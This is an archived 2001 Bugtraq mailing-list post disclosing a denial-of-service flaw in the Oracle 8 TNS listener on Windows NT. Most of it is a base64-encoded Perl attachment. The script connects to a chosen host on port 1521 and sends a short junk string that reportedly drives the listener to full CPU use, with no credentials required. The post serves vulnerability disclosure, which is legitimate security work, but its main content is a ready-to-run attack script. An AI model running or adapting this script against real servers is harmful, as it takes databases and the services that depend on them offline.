[20317] in bugtraq
Oracle8 denial of service
daemon@ATHENA.MIT.EDU (r0ot@RUNBOX.COM)
Thu Apr 19 14:59:02 2001
Content-Type: multipart/mixed; boundary="----------=_987635780-27037-0"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
Message-ID: <E14q1BM-0001cO-00@pluto.runbox.com>
Date: Wed, 18 Apr 2001 23:16:20 GMT
Reply-To: r0ot@RUNBOX.COM
From: r0ot@RUNBOX.COM
To: BUGTRAQ@SECURITYFOCUS.COM
This is a multi-part message in MIME format...
------------=_987635780-27037-0
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Hi!
Attached is a little perl-script, which makes TNSLSNR80.EXE consume all
available cpu-time so the computer becomes unusable. It works on
Oracle 8 servers running Windows NT 4.0 (SP6) and does not require any
authentication credentials to succeed. I have not tried it on any other ver=
sions
or platforms.
In case this is a known problem -> sorry. A quick search didn't turn
up anything...
cu
r0ot
-----------------------------------------------
Runbox Mail Manager - www.runbox.com
Free online email application
------------=_987635780-27037-0
Content-Type: application/x-perl; name="kick_orcl.pl"
Content-Disposition: inline; filename="kick_orcl.pl"
Content-Transfer-Encoding: base64
IyEvdXNyL2xvY2FsL2Jpbi9wZXJsIC13DQoNCiMgVGhpcyBsaXR0bGUgc2Ny
aXB0IGNyYXNoZXMgT3JhY2xlIDguMCBvbiBXaW5kb3dzIE5UIDQuMCAoU3A2
KQ0KIyBUTlNMU05SODAuRVhFIHdpbGwgY29uc3VtZSAxMDAlIENQVS4uLg0K
Iw0KIyBieSByMG90QHJ1bmJveC5jb20NCg0KdXNlIElPOjpTb2NrZXQ7DQoN
CiRob3N0PSJraWNrbWUiOw0KIyBlbnRlciB0aGUgaG9zdG5hbWUgb2YgdGhl
IG9yYWNsZS1zZXJ2ZXIgdG8ga2ljaw0KDQpzb2NrZXQoSEFORExFLCBQRl9J
TkVULCBTT0NLX1NUUkVBTSwgNik7DQpjb25uZWN0KEhBTkRMRSwgc29ja2Fk
ZHJfaW4oMTUyMSwgc2NhbGFyIGdldGhvc3RieW5hbWUoJGhvc3QpKSk7DQpI
QU5ETEUtPmF1dG9mbHVzaCgxKTsNCg0Kc2xlZXAoMik7DQpwcmludCBIQU5E
TEUgIlxuIjsNCmZvciAoJGk9MDsgJGk8MzsgJGkrKykgew0KICAgICAgICBz
bGVlcCgyKTsNCiAgICAgICAgcHJpbnQgSEFORExFICJkZnNkZmZkZnNmZGdn
ZmRnZGYiOw0KICAgICAgICAjIGFuIGFyYml0cmFyeSwgYnV0IGNhcmVmdWxs
eSBjaG9zZW4gY29uc3RhbnQuLi4NCn0NCg0KY2xvc2UoSEFORExFKTsNCg==
------------=_987635780-27037-0--
